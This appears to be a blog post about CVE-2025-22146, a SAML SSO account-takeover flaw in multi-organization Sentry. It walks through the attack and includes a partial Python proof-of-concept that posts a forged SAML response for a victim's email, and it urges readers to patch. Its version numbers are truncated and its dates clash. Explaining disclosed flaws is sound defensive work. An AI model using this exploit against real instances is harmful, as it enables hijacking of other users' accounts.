On January 14, 2025, Sentry patched a severe vulnerability—CVE-2025-22146—in its SAML Single Sign-On (SSO) feature. This bug allows attackers, under certain conditions, to hijack any user account. If you're running a multi-organization Sentry and using SAML SSO, upgrade immediately to version 25.1. or later. There are no workarounds.

What Is Sentry?

Sentry is a popular developer tool for error tracking and performance monitoring. It’s widely used by companies of all sizes to catch and fix software bugs quickly. Sentry supports Single Sign-On (SSO) so teams can log in securely with Identities managed elsewhere — like Google, Okta, or your own SAML provider.

What Happened?

A security researcher privately reported this vulnerability via Sentry's bug bounty program. The flaw is with how Sentry handles “SAML SSO” requests across multiple organizations.

Here’s the scary part: An attacker can set up their own SAML Identity Provider, create a new organization in a Sentry instance *where multiple orgs are allowed*, and potentially gain access to any user’s account. The only thing they need to know? The victim’s email address.

This isn’t a theoretical risk—Sentry classified it as “critical” because it enables complete account takeover.

Attacker sets up a new organization

On a Sentry instance with multiple orgs, the attacker creates their own org and configures a SAML IdP under their control.

Impersonating the victim

The attacker initiates SAML SSO as if they are the victim, using the victim’s known email address with their rogue IdP.

Due to a logic flaw in Sentry’s endpoint

Sentry doesn’t verify that the SAML “assertion” (the proof of your login) matches only within the correct org. Instead, it accepts the assertion across all organizations on that instance.

The attacker is logged in as the target user—account hijack.

!Attack Flow Diagram

Proof-of-Concept Exploit

> Warning: Don’t run this unless you have explicit permission!

import requests

# Attacker's variables
sentry_instance = "https://yoursentry.example.com";
org_slug = "attacker-org"
attacker_saml_idp_url = "https://attacker-idp.example.com/sso";
victim_email = "victim@example.com"

# Step 1: Set up attacker SAML IdP to issue assertions for victim_email
# (Skipping IdP code for brevity)

# Step 2: Initiate SAML SSO on target org, with the victim's email, using attacker's IdP
login_url = f"{sentry_instance}/auth/sso/?organization={org_slug}"
session = requests.Session()
# Begin SSO, get SAML request, then post it to attacker's IdP
# Receive forged SAMLResponse for victim_email
# ...

# Step 3: Submit SAMLResponse to Sentry endpoint
resp = session.post(
    f"{sentry_instance}/auth/sso/acs/",
    data={
        "SAMLResponse": forged_saml_response_for_victim_email
    }
)

if f"{victim_email}" in resp.text:
    print("Exploit successful! Account takeover possible.")
else:
    print("Exploit failed.")

What’s happening:
The SAML assertion for victim_email meant for the attacker's org is wrongly accepted for the victim’s account, due to shared session and logic flaws.

Patch ASAP –

Upgrade to Sentry 25.1.+.

Official References

- Sentry Security Advisory: CVE-2025-22146
- Github Release: Sentry v25.1.
- Sentry Documentation: SSO

Takeaways

- Know your SSO attack surface. Any tool integrating with 3rd party identity providers must validate *both* the “who” *and* the “where.”
- Simple mistakes can have big impact. This was a small bug, but the fallout (total account takeover) is huge.

*Stay safe & keep those dependencies fresh!*

*First published on June 2025. If you have questions or want to learn more about SAML SSO security in modern apps, shoot me a DM or read through Sentry’s latest security advisories.*

Timeline

Published on: 01/15/2025 20:15:30 UTC